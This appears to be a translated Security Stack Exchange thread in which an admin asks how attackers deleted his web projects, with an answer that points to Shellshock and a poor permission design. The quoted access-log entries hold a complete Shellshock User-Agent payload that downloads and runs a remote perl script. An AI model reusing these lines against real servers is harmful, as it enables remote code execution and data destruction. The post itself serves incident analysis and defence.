我的apache服务器启用了cgi模块,因为我们需要在浏览器中执行cgi脚本。我们已经启用了apache的suExec模块,它允许以特定用户的身份执行cgi脚本,在我们的例子中,用户是ubuntu,巧合的是,它也是sudo用户,但是我们在cgi脚本中没有使用任何sudo命令,我们也没有为此目的操作sudoers文件。它从一开始就是默认文件。
我们使用的cgi脚本位于/usr/lib/cgi目录中,其所有者是ubuntu。htdocs目录是/var/www/html,其中放置了所有的web项目。这个目录的所有者也是ubuntu,因为我们的cgi脚本在这些项目目录中创建和更新文件,如果项目目录的所有者不是ubuntu,那么我们就不能使用cgi脚本写入这些目录。
这是我们长期使用的场景,直到上周还没有遇到任何麻烦。当攻击者使用cgi脚本删除/var/www/html的web项目时,攻击就暴露了出来。
我在访问日志里找到了这个条目。
[02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"我有这个perl文件(perlscript.tgz),它有988行,我不知道它做了什么,但是我很确定它已经造成了破坏,因为日志文件中的项目urls在这个条目之前不是404,在此之后,所有的项目urls都是404。
这不是唯一的条目。在此之前,攻击者多次尝试失败。以下是不成功的尝试日志。
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"
[02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"这些都是失败的尝试,几乎几百次,但都是404次。成功的尝试以200种状态返回,它摧毁了一切。
请解释攻击者如何到达项目目录并删除它们,最重要的是,我现在应该做些什么来使我的系统在将来对这些攻击保持健壮?
发布于 2017-03-05 22:55:55
我们需要在浏览器中执行cgi脚本。
呃,不。CGI脚本在服务器上执行。
在我们的例子中,这个用户
您使用suexec对单个用户进行权限分离吗?那是really...unusual?
在我们的例子中,用户是ubuntu。
艾克!这大概是一个Ubuntu盒子。我想你一定有很好的理由这么做。
文档根目录的所有者也是ubuntu。
哦,亲爱的。我不认为你考虑得很好。
如果项目目录的所有者不是ubuntu,那么我们就不能使用cgi脚本写入这些目录。
您可能想花些时间阅读这些优秀的文档。您可以与其他用户一起写入这些目录(或让其他用户拥有这些目录,并让您的cgi用户可以访问这些目录)。
正如Steffen所说,他们可能会使用Shell休克,但一旦进入,他们就可以运行您的服务器。你可以修补贝壳休克的秃鹫。但是你在这里描述的是一个糟糕的设计目录。如果这次攻击不是最琐碎的机器人,那么攻击者已经安装了其他后门。
将您在这里描述的内容转换为安全的内容,将在堆栈溢出站点上占用更多的帖子和答案。
作为绝对最低限度:
https://security.stackexchange.com/questions/153007
复制相似问题